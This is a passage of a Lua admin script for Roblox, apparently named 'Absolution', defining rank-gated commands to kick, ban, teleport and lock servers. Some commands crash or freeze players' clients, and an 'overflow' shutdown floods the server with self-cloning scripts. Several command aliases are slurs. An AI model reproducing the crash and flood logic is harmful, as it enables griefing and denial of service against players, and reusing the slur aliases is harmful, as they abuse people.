  6075. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6076. if #Players > 0 then
  6077. for _,v in pairs(Players) do
  6078. ypcall(function()
  6079. v.Character.Humanoid.WalkSpeed = "99e999"
  6080. Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5)
  6081. end)
  6082. end
  6083. end
  6084. else
  6085. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6086. if #Players > 0 then
  6087. for _,v in pairs(Players) do
  6088. ypcall(function()
  6089. v.Character:BreakJoints()
  6090. Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5)
  6091. end)
  6092. end
  6093. end
  6094. end
  6095. end)
  6096. Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
  6097. local Split = Msg:find("/")
  6098. local tbsr = Msg:find";"
  6099. if Absolution.Functions.GetSplit(Msg) == "b" then
  6100. if Absolution.Functions:findRank(Speaker) < 6 then
  6101. return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
  6102. end
  6103. local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
  6104. Msg = Msg:gsub("-b","")
  6105. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6106. if #Players > 0 then
  6107. for _,v in pairs(Players) do
  6108. if Absolution.Functions:findRank(v) >= 3 then
  6109. ypcall(function()
  6110. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function()
  6111. Absolution.Functions.getRankedTable(v.Name).Rank = -1
  6112. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  6113. --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
  6114. Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
  6115. Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5)
  6116. wait()
  6117. Absolution.Functions.syncRankOut(v)
  6118. v:Kick('You were banned for '..Reason)
  6119. end)
  6120. end)
  6121. else
  6122. ypcall(function()
  6123. Absolution.Functions.getRankedTable(v.Name).Rank = -1
  6124. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  6125. --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
  6126. Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
  6127. Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
  6128. wait()
  6129. Absolution.Functions.syncRankOut(v)
  6130. v:Kick('You were banned for '..Reason)
  6131. end)
  6132. end
  6133. end
  6134. end
  6135. elseif Absolution.Functions.GetSplit(Msg) == "t" then
  6136. if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then
  6137. return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
  6138. end
  6139. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6140. local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
  6141. if not tonumber(Duration) and tostring(Duration):len() >= 3 then
  6142. local data = {}
  6143. local form = '[%d+%a+]+'
  6144. for match in Duration:gmatch(form) do
  6145. data[#data+1] = match
  6146. end
  6147. if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end
  6148. local tim = data[1]
  6149. local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
  6150. local multiplier = types[data[2]]
  6151. if not multiplier then
  6152. local teststr = data[2]..'s'
  6153. if types[teststr] then
  6154. multiplier = types[teststr]
  6155. else
  6156. Absolution.Functions.Output(Speaker,'Invalid time format!','Really red')
  6157. end
  6158. end
  6159. Duration = ((tim*60) * multiplier)
  6160. elseif tonumber(Duration) then
  6161. Duration = Duration*60
  6162. end
  6163. local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
  6164. if #Players > 0 then
  6165. for _,v in pairs(Players) do
  6166. if Absolution.Functions:findRank(v) >= 3 then
  6167. ypcall(function()
  6168. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function()
  6169. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  6170. Absolution.Functions:setTempBan(v, Reason, (Duration))
  6171. --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  6172. Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  6173. Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
  6174. Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
  6175. wait()
  6176. Absolution.Functions.syncRankOut(v)
  6177. v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
  6178. end)
  6179. end)
  6180. else
  6181. ypcall(function()
  6182. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  6183. Absolution.Functions:setTempBan(v, Reason, (Duration))
  6184. --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  6185. Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  6186. Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
  6187. Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
  6188. wait()
  6189. Absolution.Functions.syncRankOut(v)
  6190. v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
  6191. end)
  6192. end
  6193. end
  6194. end
  6195. elseif Absolution.Functions.GetSplit(Msg) == "r" then
  6196. Msg = Msg:gsub("-r","")
  6197. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6198. if #Players > 0 then
  6199. for _,v in pairs(Players) do
  6200. ypcall(function()
  6201. Absolution.Services.TeleportService:Teleport(game.PlaceId, v)
  6202. Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5)
  6203. end)
  6204. end
  6205. end
  6206. elseif Absolution.Functions.GetSplit(Msg) == "bs" then
  6207. Msg = Msg:gsub("-bs","")
  6208. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6209. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  6210. if #Players > 0 then
  6211. for _,v in pairs(Players) do
  6212. ypcall(function()
  6213. --Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error')
  6214. Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error')
  6215. Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
  6216. Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
  6217. game:service'Debris':AddItem(v, 6)
  6218. end)
  6219. wait''
  6220. pcall(function() v:Kick('Disconnected for: '..Reason) end)
  6221. end
  6222. end
  6223. elseif Absolution.Functions.GetSplit(Msg) == "c" then
  6224. Msg = Msg:gsub("-c","")
  6225. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6226. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  6227. if #Players > 0 then
  6228. for _,v in pairs(Players) do
  6229. ypcall(function()
  6230. --Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error')
  6231. Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error')
  6232. Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
  6233. Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
  6234. game:service'Debris':AddItem(v, 6)
  6235. end)
  6236. end
  6237. end
  6238. elseif Absolution.Functions.GetSplit(Msg) == "n" then
  6239. Msg = Msg:gsub("-n","")
  6240. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6241. if #Players > 0 then
  6242. for _,v in pairs(Players) do
  6243. ypcall(function()
  6244. v.Parent = nil
  6245. Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5)
  6246. end)
  6247. end
  6248. end
  6249. else
  6250. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6251. if #Players > 0 then
  6252. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  6253. for _,v in pairs(Players) do
  6254. if Absolution.Functions:findRank(v) >= 3 then
  6255. ypcall(function()
  6256. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function()
  6257. --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
  6258. Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
  6259. Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
  6260. Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
  6261. game:service'Debris':AddItem(v, 6)
  6262. end)
  6263. end)
  6264. else
  6265. ypcall(function()
  6266. --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
  6267. Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
  6268. Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
  6269. Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
  6270. game:service'Debris':AddItem(v, 6)
  6271. end)
  6272. end
  6273. end
  6274. end
  6275. end
  6276. end)
  6277. Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
  6278. local Split = Msg:find('/')
  6279. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6280. local Nick = Msg:sub(Split + 1)
  6281.  
  6282. for i,v in pairs(Player) do
  6283. Absolution.Functions.nickName(v.Name, Nick)
  6284. Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5)
  6285. end
  6286.  
  6287. end)
  6288. Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
  6289. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6290. local Status;
  6291. Absolution.Functions.Dismiss(Speaker)
  6292. if #Players > 0 then
  6293. for _,v in pairs(Players) do
  6294. ypcall(function()
  6295. Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
  6296. end)
  6297. --Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8)
  6298. Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5)
  6299. --Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8)
  6300. Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5)
  6301. end
  6302. end
  6303. end)
  6304. -- Rank 5 --
  6305.  
  6306. Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
  6307. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  6308. local Status;
  6309. Absolution.Functions.Dismiss(Speaker)
  6310. if #Players > 0 then
  6311. for _,v in pairs(Players) do
  6312. ypcall(function()
  6313. Status = Absolution.Handler:sendPacket(v, 'disable',{})
  6314. end)
  6315. Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4))
  6316. end
  6317. end
  6318. end)
  6319.  
  6320. Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
  6321. if Absolution.Functions.GetSplit(Msg) == "p" then
  6322. Msg = Msg:gsub("-p", "")
  6323. local Split = Msg:find('/')
  6324. local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  6325. local Numbers = Msg:sub(Split + 1)
  6326. if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then
  6327. Absolution.Functions.Out(Speaker, 'Nice try', 4)
  6328. return
  6329. end
  6330. if Numbers == "oxsb" then
  6331. Numbers = "20279777"
  6332. elseif Numbers == "antisb" then
  6333. Numbers = "21053279"
  6334. elseif Numbers == "pksb" then
  6335. Numbers = "191240586"
  6336. elseif Numbers == "mastersb" then
  6337. Numbers = "210101277"
  6338. elseif Numbers == "jarredsb" then
  6339. Numbers = "189032917"
  6340. elseif Numbers == "nexuresb" then
  6341. Numbers = "178350907"
  6342. elseif Numbers == "c9" then
  6343. Numbers = "133180956"
  6344. elseif Numbers == "quarry" then
  6345. Numbers = "151670365"
  6346. elseif Numbers == "phantom" then
  6347. Numbers = "292439477"
  6348. end
  6349. if #Player > 0 then
  6350. for _,v in pairs(Player) do
  6351. ypcall(function()
  6352. Absolution.Services.TeleportService:Teleport(Numbers, v)
  6353. end)
  6354. end
  6355. end
  6356. elseif Absolution.Functions.GetSplit(Msg) == "ps" then
  6357. Msg=Msg:gsub('-ps','')
  6358. local r,e = ypcall(function()
  6359. local TS = game:GetService("TeleportService")
  6360. if not Absolution.TPReserves[tostring(game.PlaceId)] then
  6361. Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId)
  6362. end
  6363. local players = Absolution.Functions.getPlayers(Speaker,Msg)
  6364. TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players)
  6365. end)
  6366. if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end
  6367. else
  6368. local Split = Msg:find('/')
  6369. local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  6370. local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1))
  6371. if #Player1 > 0 or #Player2 > 0 then
  6372. for _,v in pairs(Player1) do
  6373. for _,v2 in pairs(Player2) do
  6374. ypcall(function()
  6375. v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
  6376. Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5)
  6377. end)
  6378. end
  6379. end
  6380. end
  6381. end
  6382. end)
  6383. Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
  6384. if Absolution.Functions.GetSplit(Msg) == "u" then
  6385. Msg = Msg:gsub("-u", "")
  6386. local Player = Absolution.Functions.getPlayers(Speaker,Msg)
  6387. if #Player > 0 then
  6388. for _,v in pairs(Player) do
  6389. ypcall(function()
  6390. for q,e in pairs(Absolution.Tablets) do
  6391. if e.Tab == v.Character.Torso then
  6392. table.remove(Absolution.Tablets, q)
  6393. Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5)
  6394. end
  6395. end
  6396. end)
  6397. end
  6398. end
  6399. else
  6400. local Player1 = Absolution.Functions.getPlayers(Speaker,Msg)
  6401. if #Player1 > 0 then
  6402. for _,v in pairs(Player1) do
  6403. ypcall(function()
  6404. table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
  6405. Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5)
  6406. end)
  6407. end
  6408. end
  6409. end
  6410. end)
  6411. Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
  6412. if #Msg == 0 then
  6413. Absolution.Functions.Dismiss(Speaker)
  6414. local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off"
  6415. Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
  6416. Absolution.Functions.Dismiss(Speaker)
  6417. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  6418. if Absolution.Functions:findRank(v) <= 0.5 then
  6419. Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
  6420. v:Kick()
  6421. end
  6422. end
  6423. Absolution.PrivateServer.Enabled = true
  6424. Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
  6425. end)
  6426. Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
  6427. Absolution.Functions.Output(Speaker, "Status: "..Status)
  6428. elseif Msg == "on" or Msg == "1" or Msg == "true" then
  6429. Absolution.PrivateServer.Enabled = true
  6430. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  6431. if Absolution.Functions:findRank(v) <= 0.5 then
  6432. table.insert(Absolution.PrivateServer.Waiting, v.Name)
  6433. Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
  6434. v:Kick()
  6435. end
  6436. end
  6437. Absolution.Functions.Out(Speaker, "Private Server Enabled", 2)
  6438. elseif Msg == "off" or Msg == "0" or Msg == "false" then
  6439. Absolution.PrivateServer.Enabled = false
  6440. Absolution.Functions.Out(Speaker, "Private Server Disabled", 2)
  6441. end
  6442. end)
  6443. Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
  6444. Absolution.Functions.Dismiss(Speaker)
  6445. local Status = Absolution.Locks.Server.Locked == true and "On" or "Off"
  6446. local Level;
  6447. local numPlrs = 0
  6448. if not Absolution.Locks.Server.Locked then
  6449. Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
  6450. Absolution.Functions.Dismiss(Speaker)
  6451. Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red')
  6452. for i,v in pairs(Absolution.Ranks) do
  6453. if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then
  6454. Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
  6455. Absolution.Functions.Dismiss(Speaker)
  6456. Absolution.Locks.Server.rankNumber = i
  6457. Absolution.Functions.Output(Speaker, 'Duration:', "Really red")
  6458. for i=1200,1,-60 do
  6459. Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
  6460. Absolution.Functions.Dismiss(Speaker)
  6461. for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
  6462. local vRank = Absolution.Functions:findRank(tostring(v))
  6463. if(vRank<Absolution.Locks.Server.rankNumber)then
  6464. numPlrs = numPlrs + 1
  6465. end
  6466. end
  6467. Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function()
  6468. Absolution.Locks.Server.Duration = i
  6469. Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6)
  6470. Absolution.Locks.Server:enabledServerLock()
  6471. Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6)
  6472. end)
  6473. end)
  6474. end
  6475. end)
  6476. else
  6477. end
  6478. end
  6479. end)
  6480. else
  6481. Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red')
  6482. end
  6483. Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled") Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
  6484. Absolution.Functions.Output(Speaker, "Status: "..Status)
  6485. end)
  6486. Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
  6487. if Absolution.Functions.GetSplit(Msg) == "s" then
  6488. Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
  6489. Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
  6490. return
  6491. elseif Absolution.Functions.GetSplit(Msg) == "l" then
  6492. Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
  6493. Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
  6494. return
  6495. else
  6496. Absolution.Functions.Dismiss(Speaker)
  6497. Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange")
  6498. Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange")
  6499. Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function()
  6500. Absolution.Functions.Dismiss(Speaker)
  6501. Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
  6502. Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
  6503. end)
  6504. Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function()
  6505. Absolution.Functions.Dismiss(Speaker)
  6506. Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
  6507. Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
  6508. end)
  6509. end
  6510. end)
  6511. Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
  6512. Absolution.Functions.MakeOutput(Speaker)
  6513. end)
  6514. -- Rank 6 --
  6515. Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
  6516. local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/')
  6517. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  6518. local Rank = tonumber(Msg:sub(Split + 1))
  6519. if #Player > 0 then
  6520. for _,v in pairs(Player) do
  6521. if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end
  6522. if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end
  6523. if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end
  6524. if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end
  6525. if Rank < Absolution.Functions:findRank(Speaker) then
  6526. Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank
  6527. Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5)
  6528. Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5)
  6529. Absolution.Functions.syncRankOut(v)
  6530. else
  6531. Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4)
  6532. end
  6533. end
  6534. end
  6535. end)
  6536. Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
  6537. local plr = game:service'Players':GetUserIdFromNameAsync(Msg)
  6538. if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end
  6539. if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end
  6540. local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded)
  6541. Absolution.Tempbans[tostring(plr)] = nil
  6542. Absolution.Functions.Out(Speaker, result, 2)
  6543. Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
  6544. end)
  6545. Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)
  6546.  
  6547. Absolution.Functions.Dismiss(Speaker)
  6548.  
  6549. local GetTime = function(self)
  6550. local hour = math.floor((self%86400)/60/60)
  6551. local min = math.floor(((self%86400)/60/60-hour)*60)
  6552. if min < 10 then min = "0"..min end
  6553. if hour < 10 then hour = "0"..hour end
  6554. return hour..":"..min
  6555. end
  6556.  
  6557. if Absolution.Functions.GetSplit(Msg) == "p" then
  6558.  
  6559. local plr = Absolution.Functions.getPlayers(Msg)
  6560.  
  6561. if #plr > 1 then
  6562.  
  6563. Absolution.Functions.Out(Speaker,'Too many players!',4)
  6564.  
  6565. return
  6566.  
  6567. else
  6568.  
  6569. local sData = Absolution.Functions.TraceSearch(plr[1].Name, true)
  6570.  
  6571. for i,v in pairs(sData) do
  6572.  
  6573. Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function()
  6574.  
  6575. Absolution.Functions.Dismiss(Speaker)
  6576.  
  6577. Absolution.Functions.Output(Speaker, v.data)
  6578.  
  6579. end)
  6580. end
  6581.  
  6582. end
  6583.  
  6584. else
  6585.  
  6586. local sData = Absolution.Functions.TraceSearch(Msg)
  6587.  
  6588. if #sData > 0 then
  6589. for i,v in pairs(sData) do
  6590. Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
  6591. end
  6592. else
  6593. Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4)
  6594. end
  6595.  
  6596. end
  6597.  
  6598. end)
  6599. Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
  6600. if Absolution.Functions.GetSplit(Msg) == "c" then
  6601. Msg = Msg:gsub("-c","")
  6602. for i = 1, Absolution.Constants.ShutdownTime do
  6603. if Absolution.Aborted == true then
  6604. Absolution.Aborted = false
  6605. local ABM = Instance.new("Message", Absolution.Services.Workspace)
  6606. ABM.Text = "Shutdown Aborted!"
  6607. Absolution.Services.Debris:AddItem(ABM, 1)
  6608. Absolution.Locks.Server.Server = false
  6609. Absolution.Locks.Server.Local = false
  6610. return
  6611. else
  6612. Absolution.Locks.Server.Server = true
  6613. Absolution.Locks.Server.Local = true
  6614. local ABM = Instance.new("Message", Absolution.Services.Workspace)
  6615. ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds"
  6616. wait(1)
  6617. if ABM ~= nil then
  6618. ABM:remove()
  6619. end
  6620. end
  6621. end
  6622. Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined')
  6623. elseif Absolution.Functions.GetSplit(Msg) == "a" then
  6624. Msg = Msg:gsub("-a", "")
  6625. Absolution.Aborted = true
  6626. elseif Absolution.Functions.GetSplit(Msg) == "o" then
  6627. Msg = Msg:gsub("-o", "")
  6628. Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
  6629. Absolution.Functions.createScript([[
  6630. while game:service'RunService'.Stepped:wait() do
  6631. script:Clone().Parent = game:GetService("Workspace")
  6632. end
  6633. ]], Absolution.Services.Workspace)
  6634. end)
  6635. else
  6636. Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
  6637. Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given')
  6638. end)
  6639. end
  6640. end)
  6641. -- Rank 7 --
  6642. Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
  6643. Absolution.Handler.sendChat('Removing Absolution...')
  6644. Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
  6645. Absolution.Handler:fireAllClients('removescript')
  6646. wait(2)
  6647. --syncRanksOut()
  6648. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  6649. Absolution.Functions.Dismiss(v)
  6650. end
  6651. for i,v in pairs(Absolution.Connections) do
  6652. pcall(function()
  6653. v:disconnect()
  6654. end)
  6655. end
  6656. for i,v in pairs(Absolution.Functions) do
  6657. Absolution.Functions[i] = function() end
  6658. end
  6659. Absolution = nil
  6660. for i,v in pairs(getfenv()) do
  6661. getfenv()[i] = nil
  6662. end
  6663. script.Source = ''
  6664. end)
  6665. Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
  6666. local Split = Msg:find('/')
  6667. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  6668. local Packet = Msg:sub(Split + 1)
  6669. local pckt;
  6670. if #Players > 0 then
  6671. for _,v in pairs(Players) do
  6672. local Ran,Error = ypcall(function()
  6673. pckt = Absolution.Handler:sendPacket(v, Packet)
  6674. end)
  6675. if not Ran then
  6676. Absolution.Functions.Out(Speaker, Error, 4)
  6677. else
  6678. Absolution.Functions.Out(Speaker, tostring(pckt), 1)
  6679. end
  6680. end
  6681. end
  6682. end)
  6683. Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
  6684. local Players = Absolution.Functions.getPlayers(Speaker,Msg)
  6685. if #Players > 0 then
